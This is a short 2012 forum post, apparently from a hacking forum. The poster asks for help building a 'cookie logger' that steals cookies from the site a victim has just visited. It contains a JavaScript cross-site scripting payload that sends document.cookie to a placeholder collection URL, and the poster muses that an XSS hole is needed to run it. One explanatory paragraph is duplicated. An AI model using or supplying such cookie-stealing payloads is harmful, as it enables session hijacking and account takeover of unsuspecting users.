Needed Javascript Coder. 11-25-2012, 09:57 PM
#1
Hey there guys! Well as you might know, I have been learning HTML, and Javascript. Well, here's the problem, I can understand it, but can't write it. At least I haven't tried yet. So, I was wondering if its possible to have a script that leads to a cookie logger script and grabs the cookie from the site the victim has just come from.
Ex:
I need to know why and how something like the code above could and couldn't work.
Why I believe this wouldn't work is because you need to get an XSS vuln, and get the code within the the page to allow the cookie stealing script to share (And... SQUIRREL! ...lost my train of thought. =S). I'm sure most of you will understand what I am trying to say.
Ex:
Code:
<a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>I need to know why and how something like the code above could and couldn't work.
Why I believe this wouldn't work is because you need to get an XSS vuln, and get the code within the the page to allow the cookie stealing script to share (And... SQUIRREL! ...lost my train of thought. =S). I'm sure most of you will understand what I am trying to say.
![[Image: sign.jpg]](http://i1279.photobucket.com/albums/y534/Linked_in/sign.jpg)
A Proud Father and Supporter of the AF Radio!




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)




